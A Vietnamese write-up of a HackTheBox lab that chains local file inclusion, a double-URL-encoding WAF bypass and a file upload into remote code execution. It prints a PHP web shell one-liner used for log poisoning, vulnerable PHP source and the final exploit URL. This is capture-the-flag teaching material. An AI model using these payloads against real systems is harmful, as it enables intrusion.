Chain bug từ LFI đến RCE - HackTheBox
Problem
Đây là một bài lab trong HackTheBox, mục tiêu của bài này là phải RCE được và lấy flag ở thư mục root.Trang web khá đơn giản với 3 tab là home, contact và đáng chú ý nhất là /apply khi cho ta upload file 
Recon
Sau một hồi recon trang web thì mình thấy một endpoint khả nghi là /contact.php, mình đã thử test bug LFI với các param khác nhau bằng ffuf và tìm đc một param xác nhận web bị dính lỗi LFI cao
. Đến đây mình cứ nghĩ bài này đã xong rồi, nhưng nó không dễ như vậy, mình thử chạy các tool exploit tự động như lfisuite,ffuf,... và tự manual test hàng loạt các payload, biến thể khác nhau với hi vọng bypass được WAF, nhưng tất cả đều không hoạt động
Mình nhận thấy cơ chế filter web này hoạt động khá hoàn hảo khi chỉ cần xuất hiện các kí tự '.' hay '/ ' , những kí tự signal của file inclusion thì đều bị filter hết, ngoài ra các keyword nhạy cảm như /etc/passwd,config cũng bị cấm.Mình đã dành hơn 5-6 tiếng để test các trường hợp và thật sự bị stuck ở giai đoạn này.
Breakthrough
Trong lúc nghỉ ngơi, mình tự hỏi tại sao mình không thử tìm các vector khác nhỉ mà chỉ chăm chú vào mỗi endpoint đó, mình quay lại lab, thử đọc source code, test và tìm đc một số các endpoind và API khác, trong đó quan trọng nhất là tìm đc api này, đã xoay chuyển toàn bộ hướng làm của mình :
Mình đã thử test LFI cho param này và ... bùm,
Sau khi tìm được cách path traversal, mình đã thử leak ra các data, file quan trọng để tìm ra một thứ gì đó có thể RCE. Sau một hồi fuzz, mình tìm được file quan trọng là var/log/nginx/access.log, điều này là dấu hiệu ta có thể sử dụng kĩ thuật Log Poisoning để RCE, kĩ thuật này thực hiên bằng cách get một request đến web, sau đó sửa User-Agent thành đoạn đoạn code quen thuộc : <?php system($_GET["cmd"]); ?>. Mình đã thử nhưng có lẽ nó không hoạt động, nó chỉ được ghi vào file log chứ đoạn code đó không được chạy, có thể các dev đã không include() nó mà đã dùng các biện pháp an toàn như file_get_contents().
Sau một hồi suy nghĩ, mình nhận ra còn một chỗ mình chưa khai thác là upload file, nhưng trước đó thì thử đọc các source code của các api để xem cách nó hoạt động.
/api/image.php:
<?php
if (isset($_GET["p"])) {
$path = "../images/" . str_replace("../", "", $_GET["p"]);
$contents = file_get_contents($path);
header("Content-Type: image/jpeg");
echo $contents;
}
?>
Đoạn xử lý này xác nhận lại lần nữa lỗ hổng LFI khi dev đã không xử lý chặt các kí tự.
/api/application.php:
<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);
header("Location: /thanks.php?n=" . urlencode($firstName));
?>
Đoạn code này có thể hiểu là file được upload sẽ đc hash md5 và lưu tại thư mục uploads, đến đây thì chỉ cần upload shell và dùng LFI để trigger thôi, nhưng ta cần một điều kiện nữa là phải tìm ra được 1 param đc include để có quyền excecution thay vì chỉ read, và mình đã tìm ra được mảnh ghép cuối cùng:
<p>
<?php
$region = "AT";
$danger = false;
if (isset($_GET["region"])) {
if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
echo "'region' parameter contains invalid character(s)";
$danger = true;
} else {
$region = urldecode($_GET["region"]);
}
}
if (!$danger) {
include "./regions/" . $region . ".php";
}
?>
Giờ mình mới nhận ra cái param đầu tiên mình dành hàng tiếng đến đây mới có thể tận dụng, việc còn lại chỉ là làm sao bypass đc WAF 'khó tính' này, nhìn vào logic xử lý thì nếu kí tự hợp lệ thì nó sẽ decode url và sau đó hàm include có thể decode 1 lần nữa, vậy nếu ta double encode thì sao nhỉ, server có thể hiểu và double decode ../ là %252e%252e%252f không hề có dấu . và / !!! Đến đây mình chỉ cần upload file payload.php, chuyển sang hash md5 và execution thôi :
md5sum payload.php
eca599d7d063b4d277b7b14e5efe4a6e payload.php
http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id
Chain attack:
1.LFI để đọc được các source code quan trọng
2.Bypass WAF bằng double-encode
3.Upload Attack & RCE
Lesson Learn : 1. Cần tư duy theo hướng chain bug hơn là chỉ tập trung vào 1 đối tượng nào đó 2. Think ouside of the boxx!!!!)
All rights reserved